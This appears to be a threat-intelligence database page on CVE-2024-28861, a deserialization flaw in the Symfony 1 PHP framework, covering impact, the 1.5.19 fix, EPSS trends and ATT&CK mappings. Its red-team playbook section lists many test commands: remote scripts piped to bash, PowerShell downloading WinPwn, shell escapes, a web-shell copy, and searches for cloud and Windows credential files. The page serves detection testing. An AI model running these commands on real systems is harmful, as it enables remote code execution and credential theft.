CVE-2024-28861
Overview
This vulnerability is a dangerous object deserialization flaw in the sfNamespacedParameterHolder class of the FriendsOfSymfony1 symfony1 PHP framework. The root cause lies in insecure handling of serialized user input that allows maliciously crafted data to be deserialized without validation. This unsafe deserialization occurs in versions from 1.1.0 up to but not including 1.5.19, affecting the parameter holder component responsible for managing namespaced parameters.
Vulnerability Description
Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to execute arbitrary code on the affected system, leading to full system compromise. No user interaction or privileges are required, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation can result in data theft, service disruption, or lateral movement within the network, severely impacting business operations and confidentiality.
Solution
Upgrade the FriendsOfSymfony1 symfony1 framework to version 1.5.19 or later, which includes a patch that secures the deserialization process in the sfNamespacedParameterHolder class. Detailed patch instructions and advisory information are available in the GitHub security advisory GHSA-pv9j-c53q-h433 and the associated commit 0bd9d59c69221f49bfc8be8b871b79e12d7d171a. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Symfony 1 arises from a dangerous deserialization flaw within the `sfNamespacedParameterHolder` class, affecting versions from 1.1.0 to 1.5.18. This issue allows an attacker to craft malicious serialized data that, when deserialized by an application, can lead to arbitrary code execution on the server. The underlying problem lies in the way user input is handled; if a developer inadvertently deserializes untrusted data, it opens a pathway for attackers to manipulate the application's behavior. This vulnerability is particularly concerning due to its high CVSS score of 9.8, indicating critical severity and the potential for significant impact.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could send a specially crafted request containing malicious serialized data to a vulnerable application. If the application processes this input without proper validation or sanitization, the attacker could execute arbitrary code on the server. Scenarios may include a web application that accepts serialized objects from users, such as configuration settings or user preferences. By injecting malicious payloads, an attacker could gain control over the application, access sensitive data, or even pivot to other systems within the network.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Symfony 1 for their web applications. Successful exploitation could lead to unauthorized access to sensitive information, data breaches, and significant disruptions to business operations. The potential for remote code execution means that attackers could deploy malware, exfiltrate data, or leverage the compromised system for further attacks, such as lateral movement within the network. The financial implications of such incidents can be substantial, including costs associated with incident response, legal liabilities, and reputational damage.
To detect and mitigate this vulnerability, organizations should first ensure that they are using the latest version of Symfony 1, specifically version 1.5.19 or later, which includes a patch for this issue. Regularly updating software and libraries is a critical practice in maintaining security. Additionally, developers should implement strict input validation and avoid deserializing user input unless absolutely necessary. Employing security mechanisms such as web application firewalls (WAFs) can help identify and block malicious requests before they reach the application. Conducting regular security audits and penetration testing can also assist in identifying potential vulnerabilities and ensuring that security best practices are followed.
In conclusion, the deserialization vulnerability in Symfony 1 presents a significant threat to web applications built on this framework. The potential for remote code execution highlights the importance of secure coding practices and the need for timely updates to software components. Organizations must remain vigilant in their security posture, employing a combination of proactive measures, including software updates, input validation, and security monitoring, to mitigate the risks associated with this and similar vulnerabilities. By prioritizing security, businesses can protect their assets and maintain the trust of their users.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) for CVE-2024-28861, reflecting a growing likelihood of exploitation attempts in the near term. Although no new exploit techniques or proof-of-concept codes have surfaced, the upward trend in EPSS—now approaching the 0.073 mark and rising steadily over the past week—signals heightened attacker interest or improved exploitability conditions. This escalation, while not yet classified as rapid, suggests that threat actors may be intensifying reconnaissance or preparing to weaponize the vulnerability more broadly. For defenders, this shift underscores the need for increased vigilance in monitoring for suspicious deserialization activity related to the sfNamespacedParameterHolder class, as the risk of remote code execution exploitation is becoming more imminent. Consequently, the threat level associated with this vulnerability should be considered elevated, warranting closer attention in threat detection and response strategies.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Friendsofsymfony1 | Symfony1 | All |
cpe:2.3:a:friendsofsymfony1:symfony1:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
55%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-28861 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/FriendsOfSymfony1/symfony1/commit/0bd9d59c69221f49bfc8be8b871b79e12d7d171a |